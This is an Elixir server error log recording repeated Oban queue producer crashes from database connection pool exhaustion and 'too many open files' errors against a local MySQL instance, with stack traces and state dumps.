** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 890ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:47:00.243104Z], limit: 20, uuid: "2d6ec627-6393-43de-9c46-1f249f9185b1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:00.243109Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.216478>, refresh_timer: #Reference<0.2525715032.1077411843.216462>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:12.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 877ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:47:00.240106Z], limit: 5, uuid: "5865dc0a-b7ea-40d0-bf08-844bb502d652", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:00.240111Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.92893>, refresh_timer: #Reference<0.2525715032.1121189889.92844>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:12.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 870ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:47:00.240050Z], limit: 3, uuid: "f9d6e9e3-4d75-4adb-b81c-c31cd1fe0639", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:00.240056Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.216480>, refresh_timer: #Reference<0.2525715032.1099169794.243984>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:12.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:47:00.241423Z], limit: 50, uuid: "e2d79648-a621-4770-9579-8ccbcad2520e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:00.241429Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.216479>, refresh_timer: #Reference<0.2525715032.1077411843.216451>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:12.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 808ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:47:00.242475Z], limit: 10, uuid: "9eb912d8-4ba2-4f55-be54-30ed72a31671", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:00.242481Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.92892>, refresh_timer: #Reference<0.2525715032.1121189889.92870>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:16.532000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:16.576000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:17.111000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:17.446000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:18.793000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:20.229000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:22.525000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:24.224000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:24.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1048ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:47:12.239639Z], limit: 5, uuid: "42ebefad-7d76-4c61-abe7-2d84497ae79e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:12.239645Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.93196>, refresh_timer: #Reference<0.2525715032.1077411843.216686>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:24.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1086ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:47:12.239594Z], limit: 20, uuid: "575904b5-5551-444d-be1b-b90e1afe935d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:12.239599Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.216737>, refresh_timer: #Reference<0.2525715032.1077411843.216682>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:24.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 891ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:47:12.238077Z], limit: 5, uuid: "8bd10792-609e-4bf9-94a5-25346ee39c84", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:12.238087Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.93194>, refresh_timer: #Reference<0.2525715032.1099169794.244063>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:24.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1002ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
